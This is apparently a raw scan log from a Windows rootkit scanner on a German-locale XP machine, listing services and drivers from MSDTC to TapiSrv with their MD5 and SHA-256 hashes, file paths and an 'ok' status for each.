15:10:09.0312 0x092c  [ 35A031AF38C55F92D28AA03EE9F12CC9, 97245D204C886EE8DCCC2DEAC80A0E358A7E0C1982F77389DA50DCF091FC9DDC ] MSDTC           C:\WINDOWS\system32\msdtc.exe

15:10:09.0312 0x092c  MSDTC - ok

15:10:09.0328 0x092c  [ C941EA2454BA8350021D774DAF0F1027, C940E978C7B66A713A0FDAB54B5F995DF59D089AFCD96221DD3222948CD49BBD ] Msfs            C:\WINDOWS\system32\drivers\Msfs.sys

15:10:09.0328 0x092c  Msfs - ok

15:10:09.0343 0x092c  MSIServer - ok

15:10:09.0359 0x092c  [ D1575E71568F4D9E14CA56B7B0453BF1, 4ABE0E24786C0D39FA2B885447E56204CA6942FB175E534DCE675D7BCF0B176A ] MSKSSRV         C:\WINDOWS\system32\drivers\MSKSSRV.sys

15:10:09.0359 0x092c  MSKSSRV - ok

15:10:09.0359 0x092c  [ 325BB26842FC7CCC1FCCE2C457317F3E, C07BE560513B1FB91D756494F0BA4AEEB2E1998DE0E1C21EE83DB1183B0CEE91 ] MSPCLOCK        C:\WINDOWS\system32\drivers\MSPCLOCK.sys

15:10:09.0359 0x092c  MSPCLOCK - ok

15:10:09.0390 0x092c  [ BAD59648BA099DA4A17680B39730CB3D, 9AD4C7C94C186C8815D0BC75DCAFB962158DA6935A244BA243EDDDEB33F9816C ] MSPQM           C:\WINDOWS\system32\drivers\MSPQM.sys

15:10:09.0390 0x092c  MSPQM - ok

15:10:09.0406 0x092c  [ AF5F4F3F14A8EA2C26DE30F7A1E17136, AC93A1E4ABB0D038B772E429015567E44CC2EDB66C54DBE23A5F98176FAC1520 ] mssmbios        C:\WINDOWS\system32\DRIVERS\mssmbios.sys

15:10:09.0406 0x092c  mssmbios - ok

15:10:09.0437 0x092c  [ D48659BB24C48345D926ECB45C1EBDF5, EDEDE58316827530C25F8085F62AD48EA6D44B0F8AC1917B940F53B02CF72EA6 ] MTsensor        C:\WINDOWS\system32\DRIVERS\ASACPI.sys

15:10:09.0437 0x092c  MTsensor - ok

15:10:09.0453 0x092c  [ DE6A75F5C270E756C5508D94B6CF68F5, FCC972DDC36C2C44D836913F10004C2C33B11C54DEFFF0C63E0FDF901D2F9261 ] Mup             C:\WINDOWS\system32\drivers\Mup.sys

15:10:09.0453 0x092c  Mup - ok

15:10:09.0984 0x092c  [ 55B664D03CF9E687704094FD7B4C0444, 91ECCF9E1DA596DD523F8A0374CE051FEB37C1EA86EA491D2D78B30E0C6BA4F0 ] MySQL56         C:\Programme\MySQL\MySQL Server 5.6\bin\mysqld.exe

15:10:10.0406 0x092c  MySQL56 - ok

15:10:10.0468 0x092c  [ 46BB15AE2AC7D025D6D2567B876817BD, 102A101B96D1078C98FA0F871C801A9A8538E20E5686AB0C7680B2F6C92B3165 ] napagent        C:\WINDOWS\System32\qagentrt.dll

15:10:10.0484 0x092c  napagent - ok

15:10:10.0546 0x092c  [ 1DF7F42665C94B825322FAE71721130D, FE0DCB728471465B39A42A7511F4133021FBA5DF88F88BCB5FE2FF34CFD713F9 ] NDIS            C:\WINDOWS\system32\drivers\NDIS.sys

15:10:10.0546 0x092c  NDIS - ok

15:10:10.0578 0x092c  [ 0109C4F3850DFBAB279542515386AE22, 4F6DB1E499AC853FD36FD603FBB6D3AC9BDCEB298C7FE1FB59A9236CB46729B2 ] NdisTapi        C:\WINDOWS\system32\DRIVERS\ndistapi.sys

15:10:10.0578 0x092c  NdisTapi - ok

15:10:10.0578 0x092c  [ F927A4434C5028758A842943EF1A3849, B1AA3AF150C05307461774925901789456B0CCCD03A5E71ADA4AB58455962BEE ] Ndisuio         C:\WINDOWS\system32\DRIVERS\ndisuio.sys

15:10:10.0578 0x092c  Ndisuio - ok

15:10:10.0609 0x092c  [ EDC1531A49C80614B2CFDA43CA8659AB, 494042F790F33721328B4451E79842E21919681CC421A4F9633EC4D383E06097 ] NdisWan         C:\WINDOWS\system32\DRIVERS\ndiswan.sys

15:10:10.0609 0x092c  NdisWan - ok

15:10:10.0625 0x092c  [ 9282BD12DFB069D3889EB3FCC1000A9B, 09A46F1712BD9165068D8E153585FE3E6E5CBF4F1DDEC142115555D3A91AEC09 ] NDProxy         C:\WINDOWS\system32\drivers\NDProxy.sys

15:10:10.0640 0x092c  NDProxy - ok

15:10:10.0640 0x092c  [ 5D81CF9A2F1A3A756B66CF684911CDF0, 7989C36607CAEA17AFA2C1C9904145CA0714A54B9F712D9D4C1AB140D0B2CC0C ] NetBIOS         C:\WINDOWS\system32\DRIVERS\netbios.sys

15:10:10.0640 0x092c  NetBIOS - ok

15:10:10.0671 0x092c  [ 74B2B2F5BEA5E9A3DC021D685551BD3D, 7932B71F98B4122BE88F576BF6D745A757AE378A48924B7F4358837B75640A82 ] NetBT           C:\WINDOWS\system32\DRIVERS\netbt.sys

15:10:10.0671 0x092c  NetBT - ok

15:10:10.0703 0x092c  [ 8ACE4251BFFD09CE75679FE940E996CC, 81969521B5EAEA09ECA63058BE9697BB69AF2596339CA9DF0CFEDC031DCFDC7E ] NetDDE          C:\WINDOWS\system32\netdde.exe

15:10:10.0703 0x092c  NetDDE - ok

15:10:10.0718 0x092c  [ 8ACE4251BFFD09CE75679FE940E996CC, 81969521B5EAEA09ECA63058BE9697BB69AF2596339CA9DF0CFEDC031DCFDC7E ] NetDDEdsdm      C:\WINDOWS\system32\netdde.exe

15:10:10.0718 0x092c  NetDDEdsdm - ok

15:10:10.0734 0x092c  [ AFB8261B56CBA0D86AEB6DF682AF9785, 104D96F1F19DD4CE492064ACC9634406A019EAE20B42D03198E400E661897127 ] Netlogon        C:\WINDOWS\system32\lsass.exe

15:10:10.0734 0x092c  Netlogon - ok

15:10:10.0781 0x092c  [ E6D88F1F6745BF00B57E7855A2AB696C, 12A5EDD853600FF5EBF91E127077745AE1E61E66DBC1D4D4306570F171AF4A39 ] Netman          C:\WINDOWS\System32\netman.dll

15:10:10.0781 0x092c  Netman - ok

15:10:10.0812 0x092c  [ 417334447945C9E111FFD881F7BF4D08, BF522A4D83816254DB54B0E6C6F36707F5681DCEFF5599B6F2D9037BFE1DBB18 ] NETMDUSB        C:\WINDOWS\system32\Drivers\NETMD033.sys

15:10:10.0812 0x092c  NETMDUSB - ok

15:10:10.0859 0x092c  [ D22CD77D4F0D63D1169BB35911BFF12D, 85B1FDFA02E1B8EA4FCB9B7EEB687C5C448697FC7EC9D178C5A2F64D2C9CFEE8 ] NetTcpPortSharing C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe

15:10:10.0875 0x092c  NetTcpPortSharing - ok

15:10:10.0906 0x092c  [ E9E47CFB2D461FA0FC75B7A74C6383EA, 544136F5BFD4DC23D45E90F12FA48B82FD9EAEA9EAF3E0F5F0BD27E23D672C3E ] NIC1394         C:\WINDOWS\system32\DRIVERS\nic1394.sys

15:10:10.0906 0x092c  NIC1394 - ok

15:10:10.0937 0x092c  [ F12B9D9A069331877D006CC81B4735F9, 28EEE4A21412174BE0CAF7B041DAAB8299AA59EA5F6E41B8AFDD1A4DA770C793 ] Nla             C:\WINDOWS\System32\mswsock.dll

15:10:10.0953 0x092c  Nla - ok

15:10:11.0000 0x092c  [ A1B2D7F26D3E4B82C77E3DA51583DDB6, BCDFF98DEECB355B6E62A54937799922E232A3901C142F6063FC67C9A9327EBD ] nlsX86cc        C:\WINDOWS\system32\nlssrv32.exe

15:10:11.0000 0x092c  nlsX86cc - ok

15:10:11.0031 0x092c  [ 3182D64AE053D6FB034F44B6DEF8034A, 4ADFC76965BA2A5F488E71789A4E4EA702A74AF42725F72130D1CA919406CF19 ] Npfs            C:\WINDOWS\system32\drivers\Npfs.sys

15:10:11.0031 0x092c  Npfs - ok

15:10:11.0046 0x092c  [ 78A08DD6A8D65E697C18E1DB01C5CDCA, E0E6F3ED05068E32F1D5C2D2B38CDEF4536B8656DB6756C66CF6B40B60C8F3DA ] Ntfs            C:\WINDOWS\system32\drivers\Ntfs.sys

15:10:11.0078 0x092c  Ntfs - ok

15:10:11.0078 0x092c  [ AFB8261B56CBA0D86AEB6DF682AF9785, 104D96F1F19DD4CE492064ACC9634406A019EAE20B42D03198E400E661897127 ] NtLmSsp         C:\WINDOWS\system32\lsass.exe

15:10:11.0078 0x092c  NtLmSsp - ok

15:10:11.0109 0x092c  [ 56AF4064996FA5BAC9C449B1514B4770, 154602EFEC22728503D4ABA025DF711B0F2CFC983F5E3BF25F2A4BCD1AE250EC ] NtmsSvc         C:\WINDOWS\system32\ntmssvc.dll

15:10:11.0125 0x092c  NtmsSvc - ok

15:10:11.0140 0x092c  [ 73C1E1F395918BC2C6DD67AF7591A3AD, B21133A75253EC15E2DFF66D3B480AB1A7E1A2360476C810E7AA55D0F0EB08D4 ] Null            C:\WINDOWS\system32\drivers\Null.sys

15:10:11.0140 0x092c  Null - ok

15:10:11.0750 0x092c  [ 3308F2DA3DFCCBBA518E3A91AD2AB5B1, 403716F4745AA0737410225EC2002C16EE6142D5D5B92766F247F29F2236C637 ] nv              C:\WINDOWS\system32\DRIVERS\nv4_mini.sys

15:10:11.0968 0x092c  nv - ok

15:10:12.0031 0x092c  [ A211AB524324E84C2C805B52DFCDD544, E9BB0A441837A538B3D7F57ECD43A88152E9F54BA4DE145F2E2E1913CDB54914 ] NVHDA           C:\WINDOWS\system32\drivers\nvhda32.sys

15:10:12.0031 0x092c  NVHDA - ok

15:10:12.0046 0x092c  [ B305F3FAD35083837EF46A0BBCE2FC57, 9D0E0E666D652D0FC9EAB97280A5D67AAF61D6B21929DF7CF8ED72A367720464 ] NwlnkFlt        C:\WINDOWS\system32\DRIVERS\nwlnkflt.sys

15:10:12.0046 0x092c  NwlnkFlt - ok

15:10:12.0062 0x092c  [ C99B3415198D1AAB7227F2C88FD664B9, DD8DA4B5E804F134AB9233859544C025062902DFC3E8FB8A09A67337A4E73F55 ] NwlnkFwd        C:\WINDOWS\system32\DRIVERS\nwlnkfwd.sys

15:10:12.0062 0x092c  NwlnkFwd - ok

15:10:12.0093 0x092c  [ CA33832DF41AFB202EE7AEB05145922F, 9DD0089C2E13C7F81214C3B5A4A61276292052F9BBFEA7FCD0F6AA27815D5F95 ] ohci1394        C:\WINDOWS\system32\DRIVERS\ohci1394.sys

15:10:12.0093 0x092c  ohci1394 - ok

15:10:12.0140 0x092c  [ 7A56CF3E3F12E8AF599963B16F50FB6A, 882C82BAE96D263138D4C0D6C425458B770B7B9C8E9C1D28AC918BF6BE94A5C2 ] ose             C:\Programme\Gemeinsame Dateien\Microsoft Shared\Source Engine\OSE.EXE

15:10:12.0140 0x092c  ose - ok

15:10:12.0250 0x092c  [ 3269F55D511F45DD909D4CB13A7CD083, 061038D1548ECAFCE6AC3B0188459A9EE1F53574525A54A97CDE64B56F05EA40 ] PaceLicenseDServices C:\Programme\Gemeinsame Dateien\PACE\Services\LicenseServices\LDSvc.exe

15:10:12.0312 0x092c  PaceLicenseDServices - ok

15:10:12.0343 0x092c  [ 753A8F339F231D2B857E2CCD51A6E6CA, 59510E69D623B9DA725A8097A44FD210FCF05BB3BA27D5296EA4610359DA0831 ] PACSPTISVR      C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\PACSPTISVR.exe

15:10:12.0375 0x092c  PACSPTISVR - ok

15:10:12.0390 0x092c  [ F84785660305B9B903FB3BCA8BA29837, BDBDE61076800415D98759077E9E039C80B55DBE68E31F8BF44A909C6C3D3276 ] Parport         C:\WINDOWS\system32\DRIVERS\parport.sys

15:10:12.0406 0x092c  Parport - ok

15:10:12.0406 0x092c  [ BEB3BA25197665D82EC7065B724171C6, 7E71C13BA30CD95CEE8A9CC85E6F48A01F30EDEAADEE69D80AE828BF97E5A5CA ] PartMgr         C:\WINDOWS\system32\drivers\PartMgr.sys

15:10:12.0406 0x092c  PartMgr - ok

15:10:12.0437 0x092c  [ C2BF987829099A3EAA2CA6A0A90ECB4F, 1DF21EA8E43875CFEECD869407429F82FB449707CFB845718499468E699BAAAA ] ParVdm          C:\WINDOWS\system32\drivers\ParVdm.sys

15:10:12.0437 0x092c  ParVdm - ok

15:10:12.0453 0x092c  [ 387E8DEDC343AA2D1EFBC30580273ACD, 5F3E642BDB759777E570ED5B22AC7E93CDCD362708F281657AD7BAB44EDEC802 ] PCI             C:\WINDOWS\system32\DRIVERS\pci.sys

15:10:12.0453 0x092c  PCI - ok

15:10:12.0468 0x092c  PCIDump - ok

15:10:12.0484 0x092c  [ 59BA86D9A61CBCF4DF8E598C331F5B82, 822D11C5CE77BFD7B2F25350CCBF92B0B9388EEA6D86ED220B768C720976D839 ] PCIIde          C:\WINDOWS\system32\DRIVERS\pciide.sys

15:10:12.0484 0x092c  PCIIde - ok

15:10:12.0500 0x092c  [ A2A966B77D61847D61A3051DF87C8C97, 6CED7CA26DC62B0AAFC83A2E07336DAD25954491201BB8E06103971F3F0B8B51 ] Pcmcia          C:\WINDOWS\system32\drivers\Pcmcia.sys

15:10:12.0515 0x092c  Pcmcia - ok

15:10:12.0515 0x092c  PDCOMP - ok

15:10:12.0531 0x092c  PDFRAME - ok

15:10:12.0531 0x092c  PDRELI - ok

15:10:12.0531 0x092c  PDRFRAME - ok

15:10:12.0546 0x092c  perc2 - ok

15:10:12.0546 0x092c  perc2hib - ok

15:10:12.0578 0x092c  [ A3EDBE9053889FB24AB22492472B39DC, 6F2ED6E04BDE2FCA2A8BF9BD2D1D6923DE6EAECB46F582B6C0BD1CF364D65C9E ] PlugPlay        C:\WINDOWS\system32\services.exe

15:10:12.0578 0x092c  PlugPlay - ok

15:10:12.0609 0x092c  [ 5C1CADD1CB67C0B9D8A84EC6E4D6B5CC, 33FDA381846B5E3BDC17F726C512A60A9FEC0D40BECE3D13712E87459FC8F4C2 ] Pml Driver HPZ12 C:\WINDOWS\system32\HPZipm12.exe

15:10:12.0625 0x092c  Pml Driver HPZ12 - ok

15:10:12.0640 0x092c  [ AFB8261B56CBA0D86AEB6DF682AF9785, 104D96F1F19DD4CE492064ACC9634406A019EAE20B42D03198E400E661897127 ] PolicyAgent     C:\WINDOWS\system32\lsass.exe

15:10:12.0640 0x092c  PolicyAgent - ok

15:10:12.0656 0x092c  [ EFEEC01B1D3CF84F16DDD24D9D9D8F99, C5F0C8C66A3AF7E7BB04CEDE4AC5306F8387AB384A2107DC5BE413AAE968EFF1 ] PptpMiniport    C:\WINDOWS\system32\DRIVERS\raspptp.sys

15:10:12.0656 0x092c  PptpMiniport - ok

15:10:12.0671 0x092c  [ AFB8261B56CBA0D86AEB6DF682AF9785, 104D96F1F19DD4CE492064ACC9634406A019EAE20B42D03198E400E661897127 ] ProtectedStorage C:\WINDOWS\system32\lsass.exe

15:10:12.0671 0x092c  ProtectedStorage - ok

15:10:12.0687 0x092c  [ 09298EC810B07E5D582CB3A3F9255424, 35473A1BE25AC289474090EB0806AC6B3035DC33D1F3DF97A14BF1E361AC6AC3 ] PSched          C:\WINDOWS\system32\DRIVERS\psched.sys

15:10:12.0687 0x092c  PSched - ok

15:10:12.0718 0x092c  [ 80D317BD1C3DBC5D4FE7B1678C60CADD, DA76804B55D0CAB3DDD01EFC06673764AE4860693375C658B6063FB14AF7F12C ] Ptilink         C:\WINDOWS\system32\DRIVERS\ptilink.sys

15:10:12.0718 0x092c  Ptilink - ok

15:10:12.0750 0x092c  [ E42E3433DBB4CFFE8FDD91EAB29AEA8E, 20ABD8372B242FD356AC143E7EB56F93CFEA4988ED1B0C4434CB64C387D7F66C ] PxHelp20        C:\WINDOWS\system32\Drivers\PxHelp20.sys

15:10:12.0765 0x092c  PxHelp20 - ok

15:10:12.0765 0x092c  ql1080 - ok

15:10:12.0781 0x092c  Ql10wnt - ok

15:10:12.0781 0x092c  ql12160 - ok

15:10:12.0796 0x092c  ql1240 - ok

15:10:12.0796 0x092c  ql1280 - ok

15:10:12.0812 0x092c  [ FE0D99D6F31E4FAD8159F690D68DED9C, 998685622ABE631984B7E4DBF91AB3594B1F574378D75EB9F6265F4650470692 ] RasAcd          C:\WINDOWS\system32\DRIVERS\rasacd.sys

15:10:12.0812 0x092c  RasAcd - ok

15:10:12.0843 0x092c  [ F5BA6CACCDB66C8F048E867563203246, AFEAD8FC02313F7EBC8F9F39E7ED2868852B480BE3902FA7BD0AFD81492AB243 ] RasAuto         C:\WINDOWS\System32\rasauto.dll

15:10:12.0859 0x092c  RasAuto - ok

15:10:12.0875 0x092c  [ 11B4A627BC9614B885C4969BFA5FF8A6, EAE0A412A2B0F68919C32A96B3A08CC1A06585E4998819F5C9051745F63FF5AD ] Rasl2tp         C:\WINDOWS\system32\DRIVERS\rasl2tp.sys

15:10:12.0875 0x092c  Rasl2tp - ok

15:10:12.0953 0x092c  [ F9A7B66EA345726EDB5862A46B1ECCD5, 5D35429D394D36A1692A7E219BA1A85CD8096FEAE0F90BFE036A63118FEDBF57 ] RasMan          C:\WINDOWS\System32\rasmans.dll

15:10:12.0953 0x092c  RasMan - ok

15:10:12.0968 0x092c  [ 5BC962F2654137C9909C3D4603587DEE, A5CE5653D0105240F5E86CFAAB89E7917D42D939E2F27A5A7D6979289CA651B8 ] RasPppoe        C:\WINDOWS\system32\DRIVERS\raspppoe.sys

15:10:12.0968 0x092c  RasPppoe - ok

15:10:12.0984 0x092c  [ FDBB1D60066FCFBB7452FD8F9829B242, 10A2DACF944BD000032EBA8C095CB3D879CC55B28C377ADF6E52E508E47444DB ] Raspti          C:\WINDOWS\system32\DRIVERS\raspti.sys

15:10:12.0984 0x092c  Raspti - ok

15:10:13.0015 0x092c  [ 7AD224AD1A1437FE28D89CF22B17780A, 6645235CA27D671954E3557FA37082881C3D7D47492C71264CD8CB8D108EC801 ] Rdbss           C:\WINDOWS\system32\DRIVERS\rdbss.sys

15:10:13.0015 0x092c  Rdbss - ok

15:10:13.0031 0x092c  [ 4912D5B403614CE99C28420F75353332, 975341ECD660209987B5E5171B8315E032439E408CBE8A5986E67AF767F373BB ] RDPCDD          C:\WINDOWS\system32\DRIVERS\RDPCDD.sys

15:10:13.0031 0x092c  RDPCDD - ok

15:10:13.0078 0x092c  [ 15CABD0F7C00C47C70124907916AF3F1, 66B5C978B7FB6359AD8BAC9F568FE9D469E358FEAB07B1F129BA9E85F1DF723E ] rdpdr           C:\WINDOWS\system32\DRIVERS\rdpdr.sys

15:10:13.0093 0x092c  rdpdr - ok

15:10:13.0156 0x092c  [ 43AF5212BD8FB5BA6EED9754358BD8F7, AF330F61CECA4AFA359CEABC5EB3227E6B56A9A2DCE50701381D665122D7356D ] RDPWD           C:\WINDOWS\system32\drivers\RDPWD.sys

15:10:13.0218 0x092c  RDPWD - ok

15:10:13.0250 0x092c  [ 263AF18AF0F3DB99F574C95F284CCEC9, 2BFA9952E97EFEB386FC56EC2C125080CD12DAC078DBE43C395CB4D9F22165D3 ] RDSessMgr       C:\WINDOWS\system32\sessmgr.exe

15:10:13.0250 0x092c  RDSessMgr - ok

15:10:13.0281 0x092c  [ ED761D453856F795A7FE056E42C36365, EF026585B33415D8FCE94A9F27D7A4396C7C35C88E06A4CF0FEA702401E8597A ] redbook         C:\WINDOWS\system32\DRIVERS\redbook.sys

15:10:13.0281 0x092c  redbook - ok

15:10:13.0328 0x092c  [ 0E97EC96D6942CEEC2D188CC2EB69A01, D4253B4420BEF19451A55AB91E4834482181A31A31134F6E2AFE05C8E20C81A5 ] RemoteAccess    C:\WINDOWS\System32\mprdim.dll

15:10:13.0328 0x092c  RemoteAccess - ok

15:10:13.0359 0x092c  [ E4CD1F3D84E1C2CA0B8CF7501E201593, 649CC0B04F94D407EB6B4C7FDE2C6E4D2B1531307BC67C5775E44D66EF2E4F8A ] RemoteRegistry  C:\WINDOWS\system32\regsvc.dll

15:10:13.0359 0x092c  RemoteRegistry - ok

15:10:13.0390 0x092c  [ 2A02E21867497DF20B8FC95631395169, D89E2D17ED4E1C727847C0E92D2DF68AEB70BF0B956BD2FE024ED70A961759D2 ] RpcLocator      C:\WINDOWS\system32\locator.exe

15:10:13.0390 0x092c  RpcLocator - ok

15:10:13.0421 0x092c  [ 3127AFBF2C1ED0AB14A1BBB7AAECB85B, ECFBACE3CBF2384948EA1C445BDA3955EB4F44A9874286E6537C67DC1283E5B0 ] RpcSs           C:\WINDOWS\system32\rpcss.dll

15:10:13.0421 0x092c  RpcSs - ok

15:10:13.0453 0x092c  [ 4BDD71B4B521521499DFD14735C4F398, 7B1498D3C67E56D05B58B7DA319ECB0117C37963AABB0E59B42831C087469DA1 ] RSVP            C:\WINDOWS\system32\rsvp.exe

15:10:13.0468 0x092c  RSVP - ok

15:10:13.0484 0x092c  [ 27341186A5B0AE078CB944A3B002624D, FF7E43F510F8EB28FB2AD102D5473CD0E42BB0294F7BE9F1A9742A0CF7418482 ] RTLE8023xp      C:\WINDOWS\system32\DRIVERS\Rtenicxp.sys

15:10:13.0484 0x092c  RTLE8023xp - ok

15:10:13.0515 0x092c  [ AFB8261B56CBA0D86AEB6DF682AF9785, 104D96F1F19DD4CE492064ACC9634406A019EAE20B42D03198E400E661897127 ] SamSs           C:\WINDOWS\system32\lsass.exe

15:10:13.0515 0x092c  SamSs - ok

15:10:13.0531 0x092c  [ DCEC079FAD95D36C8DD5CB6D779DFE32, F8546552D939A225853A0CE4913701A93738DF02C999D16E141E9A828814BBC6 ] SCardSvr        C:\WINDOWS\System32\SCardSvr.exe

15:10:13.0546 0x092c  SCardSvr - ok

15:10:13.0562 0x092c  [ A050194A44D7FA8D7186ED2F4E8367AE, BCDF56D5A2F9E202DC67E7FE4BCC617BCC0BDFF2D221A621020068B17B2855BB ] Schedule        C:\WINDOWS\system32\schedsvc.dll

15:10:13.0578 0x092c  Schedule - ok

15:10:13.0593 0x092c  [ 90A3935D05B494A5A39D37E71F09A677, F72733A69BC6E1A2BB91D7632FF3463C12563F60FDCC00A2CDD67FF20D479952 ] Secdrv          C:\WINDOWS\system32\DRIVERS\secdrv.sys

15:10:13.0593 0x092c  Secdrv - ok

15:10:13.0625 0x092c  [ BEE4CFD1D48C23B44CF4B974B0B79B2B, DF3B02D713F8A4602BE75F004074D5DF79AFF2D58FF37110B2A6AC29F680758B ] seclogon        C:\WINDOWS\System32\seclogon.dll

15:10:13.0625 0x092c  seclogon - ok

15:10:13.0640 0x092c  [ ECA77BEEB2BE8D573CF1B265E44FBFBD, 1F4EC2ED5CE3AF359DC9F430F36FCDA4B3C045FDBEF075C7E5F36DCC71A3B273 ] SenFiltService  C:\WINDOWS\system32\drivers\Senfilt.sys

15:10:13.0656 0x092c  SenFiltService - ok

15:10:13.0671 0x092c  [ 2AAC9B6ED9EDDFFB721D6452E34D67E3, 95D83F054A6610328D56E56CD948A6618C590231853E56FC20E7557DB61384A4 ] SENS            C:\WINDOWS\system32\sens.dll

15:10:13.0687 0x092c  SENS - ok

15:10:13.0703 0x092c  [ 7E5C2C58FC4E3862E7BF88BFB809A9B0, 7C6C8CF590C81452BBA8238F4F08945ABDF253925FD016B5152748F374DF816A ] Sentinel        C:\WINDOWS\System32\Drivers\SENTINEL.SYS

15:10:13.0703 0x092c  Sentinel - ok

15:10:13.0718 0x092c  [ 3EE0CBB405AF078F7C25FDB64E4B68F5, 68F83247680810BEA16E56A363B998B9BB91A889606D0513CEDAE862F1C28031 ] SentinelProtectionServer C:\Programme\Gemeinsame Dateien\SafeNet Sentinel\Sentinel Protection Server\WinNT\spnsrvnt.exe

15:10:13.0734 0x092c  SentinelProtectionServer - ok

15:10:13.0750 0x092c  [ 0F29512CCD6BEAD730039FB4BD2C85CE, 4F98AE390D1B14A755700DD6CEFB9CF921F0404AF2145D2D7E5F52394F87C6A5 ] serenum         C:\WINDOWS\system32\DRIVERS\serenum.sys

15:10:13.0750 0x092c  serenum - ok

15:10:13.0765 0x092c  [ CF24EB4F0412C82BCD1F4F35A025E31D, B74CB094126F5C23F601C34D53B2DF5BE3E5918230AC9DCFCFFA8E66B3A0FA25 ] Serial          C:\WINDOWS\system32\DRIVERS\serial.sys

15:10:13.0781 0x092c  Serial - ok

15:10:13.0828 0x092c  [ 8E6B8C671615D126FDC553D1E2DE5562, CEEC0067514555D5CA489F50E3D7562FCA8DB8E952C3C878604C9277FC77959F ] Sfloppy         C:\WINDOWS\system32\DRIVERS\sfloppy.sys

15:10:13.0828 0x092c  Sfloppy - ok

15:10:13.0875 0x092c  [ CAD058D5F8B889A87CA3EB3CF624DCEF, A7CDCF44261D1F4D820927253EA8EBB63714B7BAFF8B08DE073507D9A7EEA5BB ] SharedAccess    C:\WINDOWS\System32\ipnathlp.dll

15:10:13.0875 0x092c  SharedAccess - ok

15:10:13.0890 0x092c  [ 40602EBFBE06AA075C8E4560743F6883, 808AF03F31CA4168888D0E3802AE4A0DE7F7324F4CD2F8FE491211895C9C6901 ] ShellHWDetection C:\WINDOWS\System32\shsvcs.dll

15:10:13.0906 0x092c  ShellHWDetection - ok

15:10:13.0906 0x092c  Simbad - ok

15:10:13.0937 0x092c  [ 977AAA4398D7D6FA65D973F5B3F54E40, 9E7DD68E62A0BC6A8F512582E7B7BA00CC90CEA65B1F46EA6922C38C2D340021 ] SonicStage Back-End Service C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\SsBeSvc.exe

15:10:13.0937 0x092c  SonicStage Back-End Service - ok

15:10:13.0937 0x092c  Sparrow - ok

15:10:13.0953 0x092c  [ AB8B92451ECB048A4D1DE7C3FFCB4A9F, DD17733CBB370FCA08F0296704D7CBEACA3C8F76D0ABE4761C3B1FFDF7481D9E ] splitter        C:\WINDOWS\system32\drivers\splitter.sys

15:10:13.0953 0x092c  splitter - ok

15:10:13.0984 0x092c  [ 39356A9CDB6753A6D13A4072A9F5A4BB, 7E41478460B0FFE7606F245B74AD60244816F4523FD4355C26BADF724BCE6575 ] Spooler         C:\WINDOWS\system32\spoolsv.exe

15:10:13.0984 0x092c  Spooler - ok

15:10:14.0000 0x092c  [ E3E6C96B0EF4492C3C8FD0DEEF4E35A1, BDCCF36D760B8B92BD8DF54C6F2992D66B76EBA1999623F60F0D68CD91D3CEE1 ] SPTISRV         C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\SPTISRV.exe

15:10:14.0000 0x092c  SPTISRV - ok

15:10:14.0015 0x092c  [ 50FA898F8C032796D3B1B9951BB5A90F, 1C86273EC19EB96D6DB9CE6670C00683B77C99C42CC2F7E75BC50872B93446B1 ] sr              C:\WINDOWS\system32\DRIVERS\sr.sys

15:10:14.0015 0x092c  sr - ok

15:10:14.0046 0x092c  [ FE77A85495065F3AD59C5C65B6C54182, EB4BAF992F961B2FD5D24BFCB6BCB2142BC32933139A818835FEAB190E4283BB ] srservice       C:\WINDOWS\system32\srsvc.dll

15:10:14.0046 0x092c  srservice - ok

15:10:14.0078 0x092c  [ 5252605079810904E31C332E241CD59B, 039DD965DE2137219168F95CA3BF1CA7353957026BDD0481F7964E2578DF2128 ] Srv             C:\WINDOWS\system32\DRIVERS\srv.sys

15:10:14.0093 0x092c  Srv - ok

15:10:14.0109 0x092c  [ 4DF5B05DFAEC29E13E1ED6F6EE12C500, 2971D7D45D6942D310D47DBD19B9680D2D29527E79B86133C72217FD29259465 ] SSDPSRV         C:\WINDOWS\System32\ssdpsrv.dll

15:10:14.0125 0x092c  SSDPSRV - ok

15:10:14.0140 0x092c  [ 756E371B3B86A3D3039926D32EAC0E8D, 7D3EE49848B90F0815599EC35897E23ECB69BF2686A8F1907E974B4F21419F5D ] SSScsiSV        C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\SSScsiSV.exe

15:10:14.0140 0x092c  SSScsiSV - ok

15:10:14.0171 0x092c  [ BC2C5985611C5356B24AEB370953DED9, 15CBAB8166827DC098E2B16AB6F49A1441A4CB52AF3588F0AD964CAB596DFE10 ] stisvc          C:\WINDOWS\system32\wiaservc.dll

15:10:14.0187 0x092c  stisvc - ok

15:10:14.0187 0x092c  [ 3941D127AEF12E93ADDF6FE6EE027E0F, EA1F0E32E1C5E90FA4AAC421DEBBE086512340758D3217A6334E886BCE638B51 ] swenum          C:\WINDOWS\system32\DRIVERS\swenum.sys

15:10:14.0187 0x092c  swenum - ok

15:10:14.0203 0x092c  [ 8CE882BCC6CF8A62F2B2323D95CB3D01, B408550A581F3DA222355964AFA4E976AD8471F0AA37573C42C4948AE5A23A3B ] swmidi          C:\WINDOWS\system32\drivers\swmidi.sys

15:10:14.0203 0x092c  swmidi - ok

15:10:14.0218 0x092c  SwPrv - ok

15:10:14.0234 0x092c  symc810 - ok

15:10:14.0234 0x092c  symc8xx - ok

15:10:14.0234 0x092c  sym_hi - ok

15:10:14.0250 0x092c  sym_u3 - ok

15:10:14.0281 0x092c  [ AF9A16163545685856FFD8B17AAA5E0B, 653959B85B7DD15E6818E6236A119B9CCC045766DE2EC6233444BA491D9373C0 ] SynasUSB        C:\WINDOWS\system32\drivers\SynasUSB.sys

15:10:14.0281 0x092c  SynasUSB - ok

15:10:14.0296 0x092c  [ 8B83F3ED0F1688B4958F77CD6D2BF290, 546D3602183702B4F53E84413CFA2C933D64C8540378E54A8DCD148F3F36A2DA ] sysaudio        C:\WINDOWS\system32\drivers\sysaudio.sys

15:10:14.0296 0x092c  sysaudio - ok

15:10:14.0312 0x092c  [ 2903FFFA2523926D6219428040DCE6B9, 4F13181931B0499F6C3F08138054DBCD1F84CB9806999A9172B80DE79D446F62 ] SysmonLog       C:\WINDOWS\system32\smlogsvc.exe

15:10:14.0312 0x092c  SysmonLog - ok

15:10:14.0343 0x092c  [ 05903CAC4B98908D55EA5774775B382E, AC3666CBD894D737874A5998DC7F46A0A51A7B23B1835FC735B9AD503A2191CC ] TapiSrv         C:\WINDOWS\System32\tapisrv.dll

15:10:14.0359 0x092c  TapiSrv - ok

